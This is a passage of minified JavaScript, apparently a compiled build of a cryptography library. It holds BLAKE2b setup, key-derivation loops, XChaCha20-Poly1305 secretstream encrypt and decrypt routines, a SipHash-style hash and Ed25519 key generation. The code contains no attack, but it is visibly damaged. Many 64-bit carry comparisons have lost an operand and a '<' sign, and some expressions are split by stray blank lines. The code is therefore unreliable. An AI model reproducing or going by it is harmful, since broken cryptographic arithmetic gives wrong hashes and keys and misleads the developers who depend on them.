-64|0,c=i+32|0)||(F(n=i+128|0,0,0,24),W(n,o,32,0),W(n,A,32,0),Ft(n,u=i+96|0,24),n=Dt(t+32|0,e,h,r,u,A,c),e=a[i+92>>2],r=a[i+88>>2],s[t+24|0]=r,s[t+25|0]=r>>>8,s[t+26|0]=r>>>16,s[t+27|0]=r>>>24,s[t+28|0]=e,s[t+29|0]=e>>>8,s[t+30|0]=e>>>16,s[t+31|0]=e>>>24,e=a[i+84>>2],r=a[i+80>>2],s[t+16|0]=r,s[t+17|0]=r>>>8,s[t+18|0]=r>>>16,s[t+19|0]=r>>>24,s[t+20|0]=e,s[t+21|0]=e>>>8,s[t+22|0]=e>>>16,s[t+23|0]=e>>>24,e=a[i+76>>2],r=a[i+72>>2],s[t+8|0]=r,s[t+9|0]=r>>>8,s[t+10|0]=r>>>16,s[t+11|0]=r>>>24,s[t+12|0]=e,s[t+13|0]=e>>>8,s[t+14|0]=e>>>16,s[t+15|0]=e>>>24,e=a[i+68>>2],r=a[i+64>>2],s[0|t]=r,s[t+1|0]=r>>>8,s[t+2|0]=r>>>16,s[t+3|0]=r>>>24,s[t+4|0]=e,s[t+5|0]=e>>>8,s[t+6|0]=e>>>16,s[t+7|0]=e>>>24,oe(c,32),oe(o,32),oe(u,24)),I=g,0|n},ga:function(t,e,r,n,A,i){t|=0,e|=0,A|=0,i|=0;var o,s,a=0;return s=a=I,I=o=a-448&-64,a=-1,!(n|=0)&(r|=0)>>>0>=48|n&&(F(a=o- -64|0,0,0,24),W(a,e,32,0),W(a,A,32,0),Ft(a,A=o+32|0,24),a=_t(t,e+32|0,r-32|0,n-(r>>>0<32)|0,A,e,i)),I=s,0|a},ha:function(){return 48},ia:ae,ja:ue,ka:ce,la:ae,ma:ue,na:ce,oa:function(){return 384},pa:function(t,e,r,n,A,i,o){return 0|j(t|=0,e|=0,r|=0,n|=0,A|=0,i|=0,o|=0)},qa:F,ra:function(t,e,r,n){return 0|W(t|=0,e|=0,r|=0,n|=0)},sa:Ft,ta:ie,ua:ue,va:function(t,e,r,n){return 0|ct(t|=0,e|=0,r|=0,n|=0)},wa:ae,xa:ue,ya:fe,za:ce,Aa:function(t,e,r,n,A,o){t|=0,e|=0,r|=0,n|=0,o|=0;var s,h=0,g=0,u=0,l=0,f=0,p=0,d=0;return I=s=I-32|0,h=c[0|(A|=0)]|c[A+1|0]<<8|c[A+2|0]<<16|c[A+3|0]<<24,A=c[A+4|0]|c[A+5|0]<<8|c[A+6|0]<<16|c[A+7|0]<<24,a[s+24>>2]=0,a[s+28>>2]=0,a[s+16>>2]=h,a[s+20>>2]=A,a[s+8>>2]=0,a[s+12>>2]=0,a[(A=s)>>2]=r,a[A+4>>2]=n,e-65>>>0<=4294967246?(a[9005]=28,t=-1):e-65>>>0<4294967232?t=-1:(I=A=(u=I)-512&-64,!o|!t|((g=255&e)-65&255)>>>0<=191?(Kt(),i()):(n=s+16|0,s?(l=725511199^(c[s+8|0]|c[s+9|0]<<8|c[s+10|0]<<16|c[s+11|0]<<24),f=-1694144372^(c[s+12|0]|c[s+13|0]<<8|c[s+14|0]<<16|c[s+15|0]<<24),r=-1377402159^(c[0|s]|c[s+1|0]<<8|c[s+2|0]<<16|c[s+3|0]<<24),e=1359893119^(c[s+4|0]|c[s+5|0]<<8|c[s+6|0]<<16|c[s+7|0]<<24)):(l=725511199,f=-1694144372,r=-1377402159,e=1359893119),n?(p=327033209^(c[n+8|0]|c[n+9|0]<<8|c[n+10|0]<<16|c[n+11|0]<<24),d=1541459225^(c[n+12|0]|c[n+13|0]<<8|c[n+14|0]<<16|c[n+15|0]<<24),h=-79577749^(c[0|n]|c[n+1|0]<<8|c[n+2|0]<<16|c[n+3|0]<<24),n=528734635^(c[n+4|0]|c[n+5|0]<<8|c[n+6|0]<<16|c[n+7|0]<<24)):(p=327033209,d=1541459225,h=-79577749,n=528734635),xt(A- -64|0,0,293),a[A+56>>2]=p,a[A+60>>2]=d,a[A+48>>2]=h,a[A+52>>2]=n,a[A+40>>2]=l,a[A+44>>2]=f,a[A+32>>2]=r,a[A+36>>2]=e,a[A+24>>2]=1595750129,a[A+28>>2]=-1521486534,a[A+16>>2]=-23791573,a[A+20>>2]=1013904242,a[A+8>>2]=-2067093701,a[A+12>>2]=-1150833019,a[A>>2]=-222443256^(8192|g),a[A+4>>2]=1779033703,xt(32+(e=A+384|0)|0,0,96),Mt(e,o,32),Mt(A+96|0,e,128),a[A+352>>2]=128,oe(e,128),S(A,t,g),I=u),t=0),I=s+32|0,0|t},Ba:ie,Ca:function(t,e,r){return 0|J(t|=0,e|=0,r|=0)},Da:function(t,e,r){return 0|re(t|=0,e|=0,r|=0)},Ea:function(t,e){return Ut(t|=0,e|=0),oe(t,4),0},Fa:function(t,e,r,n,A){var i;return t|=0,n|=0,A|=0,I=i=I-208|0,J(i,e|=0,r|=0),re(i,n,A),Ut(i,t),oe(i,4),I=i+208|0,0},Ga:ie,Ha:function(t,e,r,n,A){t|=0,e|=0,r|=0,n|=0,A|=0;var i,o=0,h=0,g=0;if(I=i=I-256|0,s[i+15|0]=1,e>>>0<=8160){if(e>>>0>=32)for(o=32;g=o,J(o=i+48|0,A,32),h&&re(o,(t+h|0)-32|0,32),re(o=i+48|0,r,n),re(o,i+15|0,1),Ut(o,t+h|0),s[i+15|0]=c[i+15|0]+1,(o=(h=g)+32|0)>>>0<=e>>>0;);(h=31&e)&&(J(e=i+48|0,A,32),g&&re(e,(t+g|0)-32|0,32),re(e=i+48|0,r,n),re(e,i+15|0,1),Ut(r=e,e=i+16|0),Mt(t+g|0,e,h),oe(e,32)),oe(i+48|0,208),t=0}else a[9005]=28,t=-1;return I=i+256|0,0|t},Ia:ce,Ja:pe,Ka:function(){return 8160},La:se,Ma:function(t,e,r){return 0|rt(t|=0,e|=0,r|=0)},Na:function(t,e,r){return 0|te(t|=0,e|=0,r|=0,0)},Oa:function(t,e){return Pt(t|=0,e|=0),oe(t,4),0},Pa:function(t,e,r,n,A){var i;return t|=0,n|=0,A|=0,I=i=I-416|0,rt(i,e|=0,r|=0),te(i,n,A,0),Pt(i,t),oe(i,4),I=i+416|0,0},Qa:function(t){vt(t|=0,64)},Ra:function(t,e,r,n,A){t|=0,e|=0,r|=0,n|=0,A|=0;var i,o=0,h=0,g=0;if(I=i=I-496|0,s[i+15|0]=1,e>>>0<=16320){if(e>>>0>=64)for(o=64;g=o,rt(o=i+80|0,A,64),h&&te(o,(t+h|0)-64|0,64,0),te(o=i+80|0,r,n,0),te(o,i+15|0,1,0),Pt(o,t+h|0),s[i+15|0]=c[i+15|0]+1,(o=(h=g)- -64|0)>>>0<=e>>>0;);(h=63&e)&&(rt(e=i+80|0,A,64),g&&te(e,(t+g|0)-64|0,64,0),te(e=i+80|0,r,n,0),te(e,i+15|0,1,0),Pt(r=e,e=i+16|0),Mt(t+g|0,e,h),oe(e,64)),oe(i+80|0,416),t=0}else a[9005]=28,t=-1;return I=i+496|0,0|t},Sa:ue,Ta:pe,Ua:function(){return 16320},Va:function(t,e,r){return t|=0,j(e|=0,32,r|=0,32,0,0,0),0|Vt(t,e)},Wa:function(t,e){return t|=0,vt(e|=0,32),0|Vt(t,e)},Xa:function(t,e,r,n,A){e|=0,r|=0,n|=0,A|=0;var o,a,h=0,g=0,u=0;if(a=h=I,I=h=h-512&-64,o=(t|=0)||e){if(u=-1,!Yt(g=h+96|0,n,A)){for(n=e||t,t=0,F(e=h+128|0,0,0,64),W(e,g,32,0),oe(g,32),W(e,r,32,0),W(e,A,32,0),Ft(e,h+32|0,64),oe(e,384);r=(e=h+32|0)+t|0,s[t+o|0]=c[0|r],s[t+n|0]=c[r+32|0],s[(A=1|t)+o|0]=c[e+A|0],s[n+A|0]=c[r+33|0],32!=(0|(t=t+2|0)););oe(e,64),u=0}return I=a,0|u}Kt(),i()},Ya:function(t,e,r,n,A){e|=0,r|=0,n|=0,A|=0;var o,a,h=0,g=0,u=0;if(a=h=I,I=h=h-512&-64,o=(t|=0)||e){if(u=-1,!Yt(g=h+96|0,n,A)){for(n=e||t,t=0,F(e=h+128|0,0,0,64),W(e,g,32,0),oe(g,32),W(e,A,32,0),W(e,r,32,0),Ft(e,h+32|0,64),oe(e,384);r=(e=h+32|0)+t|0,s[t+n|0]=c[0|r],s[t+o|0]=c[r+32|0],s[(A=1|t)+n|0]=c[e+A|0],s[A+o|0]=c[r+33|0],32!=(0|(t=t+2|0)););oe(e,64),u=0}return I=a,0|u}Kt(),i()},Za:ce,_a:ce,$a:ce,ab:ce,bb:Vt,cb:Yt,db:ce,eb:ce,fb:ce,gb:he,hb:ae,ib:ge,jb:ie,kb:Tt,lb:function(t,e,r,n,A,o){return t|=0,e|=0,A|=0,o|=0,!(n|=0)&(r|=0)>>>0>=4294967280|n&&(Kt(),i()),ot(t+16|0,t,e,r,n,A,o),0},mb:Rt,nb:St,ob:ie,pb:function(t,e,r){return t|=0,r|=0,vt(e|=0,24),L(t,e,r),s[t+32|0]=1,s[t+33|0]=0,s[t+34|0]=0,s[t+35|0]=0,r=c[e+16|0]|c[e+17|0]<<8|c[e+18|0]<<16|c[e+19|0]<<24,e=c[e+20|0]|c[e+21|0]<<8|c[e+22|0]<<16|c[e+23|0]<<24,s[t+44|0]=0,s[t+45|0]=0,s[t+46|0]=0,s[t+47|0]=0,s[t+48|0]=0,s[t+49|0]=0,s[t+50|0]=0,s[t+51|0]=0,s[t+36|0]=r,s[t+37|0]=r>>>8,s[t+38|0]=r>>>16,s[t+39|0]=r>>>24,s[t+40|0]=e,s[t+41|0]=e>>>8,s[t+42|0]=e>>>16,s[t+43|0]=e>>>24,0},qb:function(t,e,r){return L(t|=0,e|=0,r|=0),s[t+32|0]=1,s[t+33|0]=0,s[t+34|0]=0,s[t+35|0]=0,r=c[e+16|0]|c[e+17|0]<<8|c[e+18|0]<<16|c[e+19|0]<<24,e=c[e+20|0]|c[e+21|0]<<8|c[e+22|0]<<16|c[e+23|0]<<24,s[t+44|0]=0,s[t+45|0]=0,s[t+46|0]=0,s[t+47|0]=0,s[t+48|0]=0,s[t+49|0]=0,s[t+50|0]=0,s[t+51|0]=0,s[t+36|0]=r,s[t+37|0]=r>>>8,s[t+38|0]=r>>>16,s[t+39|0]=r>>>24,s[t+40|0]=e,s[t+41|0]=e>>>8,s[t+42|0]=e>>>16,s[t+43|0]=e>>>24,0},rb:function(t){var e,r=0,n=0;I=e=I-48|0,r=c[28+(t|=0)|0]|c[t+29|0]<<8|c[t+30|0]<<16|c[t+31|0]<<24,a[e+24>>2]=c[t+24|0]|c[t+25|0]<<8|c[t+26|0]<<16|c[t+27|0]<<24,a[e+28>>2]=r,r=c[t+20|0]|c[t+21|0]<<8|c[t+22|0]<<16|c[t+23|0]<<24,a[e+16>>2]=c[t+16|0]|c[t+17|0]<<8|c[t+18|0]<<16|c[t+19|0]<<24,a[e+20>>2]=r,r=c[t+4|0]|c[t+5|0]<<8|c[t+6|0]<<16|c[t+7|0]<<24,a[e>>2]=c[0|t]|c[t+1|0]<<8|c[t+2|0]<<16|c[t+3|0]<<24,a[e+4>>2]=r,r=c[t+12|0]|c[t+13|0]<<8|c[t+14|0]<<16|c[t+15|0]<<24,a[e+8>>2]=c[t+8|0]|c[t+9|0]<<8|c[t+10|0]<<16|c[t+11|0]<<24,a[e+12>>2]=r,r=c[t+40|0]|c[t+41|0]<<8|c[t+42|0]<<16|c[t+43|0]<<24,a[e+32>>2]=c[t+36|0]|c[t+37|0]<<8|c[t+38|0]<<16|c[t+39|0]<<24,a[e+36>>2]=r,Xt(e,e,t+32|0,t),r=a[e+28>>2],n=a[e+24>>2],s[t+24|0]=n,s[t+25|0]=n>>>8,s[t+26|0]=n>>>16,s[t+27|0]=n>>>24,s[t+28|0]=r,s[t+29|0]=r>>>8,s[t+30|0]=r>>>16,s[t+31|0]=r>>>24,r=a[e+20>>2],n=a[e+16>>2],s[t+16|0]=n,s[t+17|0]=n>>>8,s[t+18|0]=n>>>16,s[t+19|0]=n>>>24,s[t+20|0]=r,s[t+21|0]=r>>>8,s[t+22|0]=r>>>16,s[t+23|0]=r>>>24,r=a[e+12>>2],n=a[e+8>>2],s[t+8|0]=n,s[t+9|0]=n>>>8,s[t+10|0]=n>>>16,s[t+11|0]=n>>>24,s[t+12|0]=r,s[t+13|0]=r>>>8,s[t+14|0]=r>>>16,s[t+15|0]=r>>>24,r=a[e+4>>2],n=a[e>>2],s[0|t]=n,s[t+1|0]=n>>>8,s[t+2|0]=n>>>16,s[t+3|0]=n>>>24,s[t+4|0]=r,s[t+5|0]=r>>>8,s[t+6|0]=r>>>16,s[t+7|0]=r>>>24,n=a[e+36>>2],r=a[e+32>>2],s[t+32|0]=1,s[t+33|0]=0,s[t+34|0]=0,s[t+35|0]=0,s[t+36|0]=r,s[t+37|0]=r>>>8,s[t+38|0]=r>>>16,s[t+39|0]=r>>>24,s[t+40|0]=n,s[t+41|0]=n>>>8,s[t+42|0]=n>>>16,s[t+43|0]=n>>>24,I=e+48|0},sb:function(t,e,r,n,A,o,h,g,u,l){t|=0,e|=0,n|=0,o|=0,h|=0,u|=0,l|=0;var f,p=0,d=0,y=0;return p=A|=0,p|=A=0,f=A|(g|=0),I=A=I-384|0,(r|=0)&&(a[r>>2]=0,a[r+4>>2]=0),!o&p>>>0<4294967279?(Wt(d=A+16|0,64,y=t+32|0,t),ne(g=A+80|0,d),oe(d,64),$t(g,h,f,u),$t(g,34288,0-f&15,0),a[A+72>>2]=0,a[A+76>>2]=0,a[(h=A- -64|0)>>2]=0,a[h+4>>2]=0,a[A+56>>2]=0,a[A+60>>2]=0,a[A+48>>2]=0,a[A+52>>2]=0,a[A+40>>2]=0,a[A+44>>2]=0,a[A+32>>2]=0,a[A+36>>2]=0,a[A+16>>2]=0,a[A+20>>2]=0,a[A+24>>2]=0,a[A+28>>2]=0,s[A+16|0]=l,Et(d,d,64,0,y,1,t),$t(g,d,64,0),s[0|e]=c[A+16|0],Et(e=e+1|0,n,p,o,y,2,t),$t(g,e,p,o),$t(g,34288,15&p,0),a[A+8>>2]=f,a[A+12>>2]=u,$t(g,n=A+8|0,8,0),a[A+8>>2]=p- -64,a[A+12>>2]=o-((p>>>0<4294967232)-1|0),$t(g,n,8,0),Ae(g,e=e+p|0),oe(g,256),s[t+36|0]=c[t+36|0]^c[0|e],s[t+37|0]=c[t+37|0]^c[e+1|0],s[t+38|0]=c[t+38|0]^c[e+2|0],s[t+39|0]=c[t+39|0]^c[e+3|0],s[t+40|0]=c[t+40|0]^c[e+4|0],s[t+41|0]=c[t+41|0]^c[e+5|0],s[t+42|0]=c[t+42|0]^c[e+6|0],s[t+43|0]=c[t+43|0]^c[e+7|0],mt(y),(2&l||ht(y,4))&&(e=c[t+28|0]|c[t+29|0]<<8|c[t+30|0]<<16|c[t+31|0]<<24,a[A+360>>2]=c[t+24|0]|c[t+25|0]<<8|c[t+26|0]<<16|c[t+27|0]<<24,a[A+364>>2]=e,e=c[t+20|0]|c[t+21|0]<<8|c[t+22|0]<<16|c[t+23|0]<<24,a[A+352>>2]=c[t+16|0]|c[t+17|0]<<8|c[t+18|0]<<16|c[t+19|0]<<24,a[A+356>>2]=e,e=c[t+4|0]|c[t+5|0]<<8|c[t+6|0]<<16|c[t+7|0]<<24,a[A+336>>2]=c[0|t]|c[t+1|0]<<8|c[t+2|0]<<16|c[t+3|0]<<24,a[A+340>>2]=e,e=c[t+12|0]|c[t+13|0]<<8|c[t+14|0]<<16|c[t+15|0]<<24,a[A+344>>2]=c[t+8|0]|c[t+9|0]<<8|c[t+10|0]<<16|c[t+11|0]<<24,a[A+348>>2]=e,e=c[t+40|0]|c[t+41|0]<<8|c[t+42|0]<<16|c[t+43|0]<<24,a[A+368>>2]=c[t+36|0]|c[t+37|0]<<8|c[t+38|0]<<16|c[t+39|0]<<24,a[A+372>>2]=e,Xt(e=A+336|0,e,y,t),e=a[A+364>>2],n=a[A+360>>2],s[t+24|0]=n,s[t+25|0]=n>>>8,s[t+26|0]=n>>>16,s[t+27|0]=n>>>24,s[t+28|0]=e,s[t+29|0]=e>>>8,s[t+30|0]=e>>>16,s[t+31|0]=e>>>24,e=a[A+356>>2],n=a[A+352>>2],s[t+16|0]=n,s[t+17|0]=n>>>8,s[t+18|0]=n>>>16,s[t+19|0]=n>>>24,s[t+20|0]=e,s[t+21|0]=e>>>8,s[t+22|0]=e>>>16,s[t+23|0]=e>>>24,e=a[A+348>>2],n=a[A+344>>2],s[t+8|0]=n,s[t+9|0]=n>>>8,s[t+10|0]=n>>>16,s[t+11|0]=n>>>24,s[t+12|0]=e,s[t+13|0]=e>>>8,s[t+14|0]=e>>>16,s[t+15|0]=e>>>24,e=a[A+340>>2],n=a[A+336>>2],s[0|t]=n,s[t+1|0]=n>>>8,s[t+2|0]=n>>>16,s[t+3|0]=n>>>24,s[t+4|0]=e,s[t+5|0]=e>>>8,s[t+6|0]=e>>>16,s[t+7|0]=e>>>24,e=a[A+368>>2],n=a[A+372>>2],s[t+32|0]=1,s[t+33|0]=0,s[t+34|0]=0,s[t+35|0]=0,s[t+36|0]=e,s[t+37|0]=e>>>8,s[t+38|0]=e>>>16,s[t+39|0]=e>>>24,s[t+40|0]=n,s[t+41|0]=n>>>8,s[t+42|0]=n>>>16,s[t+43|0]=n>>>24),r&&(o=(t=p+17|0)>>>0<17?o+1|0:o,a[r>>2]=t,a[r+4>>2]=o),I=A+384|0):(Kt(),i()),0},tb:function(t,e,r,n,A,o,h,g,u,l){t|=0,e|=0,n|=0,A|=0,g|=0,l|=0;var f,p=0,d=0,y=0,C=0,m=0,B=0;p=o|=0,o=h|=0,d=0|p,f=u|=0,I=h=I-400|0,(r|=0)&&(a[r>>2]=0,a[r+4>>2]=0),n&&(s[0|n]=255),B=-1;t:{e:{if(!((u=d>>>0<17)&!o)){if(m=p=o-u|0,!p&(u=d-17|0)>>>0>=4294967279|p)break e;Wt(y=h+32|0,64,C=t+32|0,t),ne(p=h+96|0,y),oe(y,64),$t(p,g,f,l),$t(p,34288,0-f&15,0),a[h+88>>2]=0,a[h+92>>2]=0,a[h+80>>2]=0,a[h+84>>2]=0,a[h+72>>2]=0,a[h+76>>2]=0,a[(g=h- -64|0)>>2]=0,a[g+4>>2]=0,a[h+56>>2]=0,a[h+60>>2]=0,a[h+48>>2]=0,a[h+52>>2]=0,a[h+40>>2]=0,a[h+44>>2]=0,a[h+32>>2]=0,a[h+36>>2]=0,s[h+32|0]=c[0|A],Et(y,y,64,0,C,1,t),g=c[h+32|0],s[h+32|0]=c[0|A],$t(p,y,64,0),$t(p,A=A+1|0,u,m),$t(p,34288,d-1&15,0),a[h+24>>2]=f,a[h+28>>2]=l,$t(p,l=h+24|0,8,0),o=(d=d+47|0)>>>0<47?o+1|0:o,a[h+24>>2]=d,a[h+28>>2]=o,$t(p,l,8,0),Ae(p,h),oe(p,256),ut(h,A+u|0,16)?oe(h,16):(Et(e,A,u,m,C,2,t),s[t+36|0]=c[t+36|0]^c[0|h],s[t+37|0]=c[t+37|0]^c[h+1|0],s[t+38|0]=c[t+38|0]^c[h+2|0],s[t+39|0]=c[t+39|0]^c[h+3|0],s[t+40|0]=c[t+40|0]^c[h+4|0],s[t+41|0]=c[t+41|0]^c[h+5|0],s[t+42|0]=c[t+42|0]^c[h+6|0],s[t+43|0]=c[t+43|0]^c[h+7|0],mt(C),(2&g||ht(C,4))&&(e=c[t+28|0]|c[t+29|0]<<8|c[t+30|0]<<16|c[t+31|0]<<24,a[h+376>>2]=c[t+24|0]|c[t+25|0]<<8|c[t+26|0]<<16|c[t+27|0]<<24,a[h+380>>2]=e,e=c[t+20|0]|c[t+21|0]<<8|c[t+22|0]<<16|c[t+23|0]<<24,a[h+368>>2]=c[t+16|0]|c[t+17|0]<<8|c[t+18|0]<<16|c[t+19|0]<<24,a[h+372>>2]=e,e=c[t+4|0]|c[t+5|0]<<8|c[t+6|0]<<16|c[t+7|0]<<24,a[h+352>>2]=c[0|t]|c[t+1|0]<<8|c[t+2|0]<<16|c[t+3|0]<<24,a[h+356>>2]=e,e=c[t+12|0]|c[t+13|0]<<8|c[t+14|0]<<16|c[t+15|0]<<24,a[h+360>>2]=c[t+8|0]|c[t+9|0]<<8|c[t+10|0]<<16|c[t+11|0]<<24,a[h+364>>2]=e,e=c[t+40|0]|c[t+41|0]<<8|c[t+42|0]<<16|c[t+43|0]<<24,a[h+384>>2]=c[t+36|0]|c[t+37|0]<<8|c[t+38|0]<<16|c[t+39|0]<<24,a[h+388>>2]=e,Xt(e=h+352|0,e,C,t),e=a[h+380>>2],A=a[h+376>>2],s[t+24|0]=A,s[t+25|0]=A>>>8,s[t+26|0]=A>>>16,s[t+27|0]=A>>>24,s[t+28|0]=e,s[t+29|0]=e>>>8,s[t+30|0]=e>>>16,s[t+31|0]=e>>>24,e=a[h+372>>2],A=a[h+368>>2],s[t+16|0]=A,s[t+17|0]=A>>>8,s[t+18|0]=A>>>16,s[t+19|0]=A>>>24,s[t+20|0]=e,s[t+21|0]=e>>>8,s[t+22|0]=e>>>16,s[t+23|0]=e>>>24,e=a[h+364>>2],A=a[h+360>>2],s[t+8|0]=A,s[t+9|0]=A>>>8,s[t+10|0]=A>>>16,s[t+11|0]=A>>>24,s[t+12|0]=e,s[t+13|0]=e>>>8,s[t+14|0]=e>>>16,s[t+15|0]=e>>>24,e=a[h+356>>2],A=a[h+352>>2],s[0|t]=A,s[t+1|0]=A>>>8,s[t+2|0]=A>>>16,s[t+3|0]=A>>>24,s[t+4|0]=e,s[t+5|0]=e>>>8,s[t+6|0]=e>>>16,s[t+7|0]=e>>>24,e=a[h+384>>2],A=a[h+388>>2],s[t+32|0]=1,s[t+33|0]=0,s[t+34|0]=0,s[t+35|0]=0,s[t+36|0]=e,s[t+37|0]=e>>>8,s[t+38|0]=e>>>16,s[t+39|0]=e>>>24,s[t+40|0]=A,s[t+41|0]=A>>>8,s[t+42|0]=A>>>16,s[t+43|0]=A>>>24),r&&(a[r>>2]=u,a[r+4>>2]=m),B=0,n&&(s[0|n]=g))}I=h+400|0;break t}Kt(),i()}return 0|B},ub:function(){return 52},vb:function(){return 17},wb:he,xb:ce,yb:function(){return-18},zb:pe,Ab:le,Bb:function(){return 2},Cb:function(){return 3},Db:fe,Eb:ae,Fb:function(t,e,r,n,A){t|=0,e|=0,r|=0,n|=0;var i,o=0,a=0,h=0,g=0,u=0,l=0,f=0,p=0,d=0,I=0,C=0,m=0,B=0,E=0,w=0;if(B=1886610805^(o=c[0|(A|=0)]|c[A+1|0]<<8|c[A+2|0]<<16|c[A+3|0]<<24),p=1936682341^(a=c[A+4|0]|c[A+5|0]<<8|c[A+6|0]<<16|c[A+7|0]<<24),o^=1852142177,h=1819895653^a,E=1852075885^(a=c[A+8|0]|c[A+9|0]<<8|c[A+10|0]<<16|c[A+11|0]<<24),w=1685025377^(A=c[A+12|0]|c[A+13|0]<<8|c[A+14|0]<<16|c[A+15|0]<<24),f=2037671283^a,a=1952801890^A,C=r,(0|(I=(r+e|0)-(i=7&r)|0))!=(0|e)){for(;r=(u=a^(m=c[e+4|0]|c[e+5|0]<<8|c[e+6|0]<<16|c[e+7|0]<<24))+h|0,f=n=o+(A=f^(d=c[0|e]|c[e+1|0]<<8|c[e+2|0]<<16|c[e+3|0]<<24))|0,l=r=n>>>0>>0?r+1|0:r,o=n,n=r,r=p+w|0,r=(a=B+E|0)>>>0>>0?r+1|0:r,g=(h=ft(E,w,13)^a)+o|0,n=(o=y^r)+n|0,o=ft(h,o,17)^g,B=ft(o,n=(h=h>>>0>g>>>0?n+1|0:n)^y,13),p=y,u=ft(A,u,16),A=l^y,u^=f,l=ft(a,r,32),r=y+A|0,r=(f=n)+(n=(a=u+l|0)>>>0>>0?r+1|0:r)|0,l=r=(f=o+a|0)>>>0>>0?r+1|0:r,B=ft(o=f^B,r^=p,17),p=y,u=ft(u,A,21),A=n^y,u^=a,a=ft(g,h,32),n=y+A|0,r=(a=a>>>0>(h=u+a|0)>>>0?n+1|0:n)+r|0,E=(o=o+h|0)^B,n=r=o>>>0>>0?r+1|0:r,w=r^p,r=ft(u,A,16),u=a^=y,g=ft(r^=h,a,21),h=y,l=(a=ft(f,l,32))+r|0,r=y+u|0,f=g^l,a=(r=a>>>0>l>>>0?r+1|0:r)^h,o=ft(o,n,32),h=y,B=l^d,p=r^m,(0|I)!=(0|(e=e+8|0)););e=I}switch(m=0,g=C<<24,i-1|0){case 6:g|=c[e+6|0]<<16;case 5:g|=c[e+5|0]<<8;case 4:g|=c[e+4|0];case 3:m|=(r=c[e+3|0])<<24,g|=n=r>>>8|0;case 2:m|=(n=c[e+2|0])<<16,g|=r=n>>>16|0;case 1:m|=(r=c[e+1|0])<<8,g|=n=r>>>24|0;case 0:m=c[0|e]|m}return e=t,n=ft(A=f^m,t=a^g,16),t=t+h|0,l=t=(f=A+o|0)>>>0>>0?t+1|0:t,d=ft(A=n^f,t^=r=y,21),a=y,r=p+w|0,n=r=(o=B+E|0)>>>0>>0?r+1|0:r,I=A,A=ft(o,r,32),r=y+t|0,t=a,a=r=A>>>0>(h=I+A|0)>>>0?r+1|0:r,u=ft(A=h^d,t^=r,16),d=y,C=ft(E,w,13)^o,n=(I=y^n)+l|0,l=A,A=ft(r=(o=C)+f|0,n=r>>>0>>0?n+1|0:n,32),t=y+t|0,p=ft(o=u^(f=l+A|0),A=(l=A>>>0>f>>>0?t+1|0:t)^d,21),d=y,u=ft(C,I,17)^r,r=(C=y^n)+a|0,t=r=(n=h=(t=u)+h|0)>>>0>>0?r+1|0:r,a=o,o=ft(n,r,32),r=y+A|0,I=r=(a=o>>>0>(h=a+o|0)>>>0?r+1|0:r)^d,d=ft(p^=h,r,16),o=y,u=ft(u,C,13)^n,t=(C=t^y)+l|0,n=t=(r=u)>>>0>(A=r+f|0)>>>0?t+1|0:t,t=ft(A,t,32),r=I+y|0,I=r=(l=o)^(o=(t=p+(255^t)|0)>>>0

>>0?r+1|0:r),f=t,d=ft(p=d^t,r,21),l=y,u=ft(u,C,17)^A,r=(C=n^y)+(a^g)|0,n=r=(t=h^m)>>>0>(A=u+t|0)>>>0?r+1|0:r,t=ft(A,r,32),r=I+y|0,I=r=(a=(t=t+p|0)>>>0

>>0?r+1|0:r)^l,l=t,d=ft(p=d^t,r,16),h=y,u=ft(u,C,13)^A,t=o+(g=y^n)|0,t=ft(A=f+u|0,r=t=A>>>0>>0?t+1|0:t,32),n=I+y|0,C=n=(o=(t=t+p|0)>>>0

>>0?n+1|0:n)^h,h=t,I=ft(p=d^t,n,21),d=y,t=ft(u,g,17),r=a+(g=r^y)|0,n=r=(A=l+(f=t^A)|0)>>>0>>0?r+1|0:r,t=ft(A,r,32),r=C+y|0,l=t=t+p|0,a=r=t>>>0

>>0?r+1|0:r,C=ft(u=I^t,r^=d,16),I=y,t=ft(f,g,13),n=o+(d=n^y)|0,t=ft(o=h+(g=t^A)|0,n=o>>>0>>0?n+1|0:n,32),r=r+y|0,f=t=t+u|0,h=r=t>>>0>>0?r+1|0:r,u=ft(A=C^t,t=r^I,21),C=y,g=ft(g,d,17),r=a+(I=n^y)|0,d=o^g,o=A,A=ft(n=l+d|0,r=n>>>0>>0?r+1|0:r,32),t=y+t|0,C=ft(o=u^(l=o+A|0),A=(a=A>>>0>l>>>0?t+1|0:t)^C,16),g=y,t=ft(d,I,13),r=h+(I=r^y)|0,t=r=(n=f+(d=t^n)|0)>>>0>>0?r+1|0:r,h=ft(n,r,32),r=y+A|0,g=ft(C^(A=o=h+o|0),(r=A>>>0>>0?r+1|0:r)^g,21),f=y,o=ft(d,I,17)^n,h=ft(o,t^=y,13),t=t+a|0,n=t=y^((o=o+l|0)>>>0>>0?t+1:t),o=ft(a=o^h,t,17)^g,t=y^f,n=r+n|0,r=ft(r=A+a|0,n=r>>>0>>0?n+1|0:n,32)^o^r,s[0|e]=r,s[e+1|0]=r>>>8,s[e+2|0]=r>>>16,s[e+3|0]=r>>>24,t^=n^y,s[e+4|0]=t,s[e+5|0]=t>>>8,s[e+6|0]=t>>>16,s[e+7|0]=t>>>24,0},Gb:function(t){vt(t|=0,16)},Hb:se,Ib:ue,Jb:ce,Kb:ce,Lb:ue,Mb:function(){return-65},Nb:function(t,e,r){t|=0;var n,A,i,o,a=0,h=0,g=0,u=0,l=0;return I=i=I-160|0,ct(e|=0,r|=0,32,0),s[0|e]=248&c[0|e],s[e+31|0]=63&c[e+31|0]|64,H(i,e),bt(t,i),h=c[(A=r)+8|0]|c[A+9|0]<<8|c[A+10|0]<<16|c[A+11|0]<<24,a=c[A+12|0]|c[A+13|0]<<8|c[A+14|0]<<16|c[A+15|0]<<24,g=c[A+16|0]|c[A+17|0]<<8|c[A+18|0]<<16|c[A+19|0]<<24,u=c[A+20|0]|c[A+21|0]<<8|c[A+22|0]<<16|c[A+23|0]<<24,l=c[0|A]|c[A+1|0]<<8|c[A+2|0]<<16|c[A+3|0]<<24,r=c[A+4|0]|c[A+5|0]<<8|c[A+6|0]<<16|c[A+7|0]<<24,o=c[A+28|0]|c[A+29|0]<<8|c[A+30|0]<<16|c[A+31|0]<<24,n=e,e=c[A+24|0]|c[A+25|0]<<8|c[A+26|0]<<16|c[A+27|0]<<24,s[n+24|0]=e,s[n+25|0]=e>>>8,s[n+26|0]=e>>>16,s[n+27|0]=e>>>24,s[n+28|0]=o,s[n+29|0]=o>>>8,s[n+30|0]=o>>>16,s[n+31|0]=o>>>24,s[n+16|0]=g,s[n+17|0]=g>>>8,s[n+18|0]=g>>>16,s[n+19|0]=g>>>24,s[n+20|0]=u,s[n+21|0]=u>>>8,s[n+22|0]=u>>>16,s[n+23|0]=u>>>24,s[n+8|0]=h,s[n+9|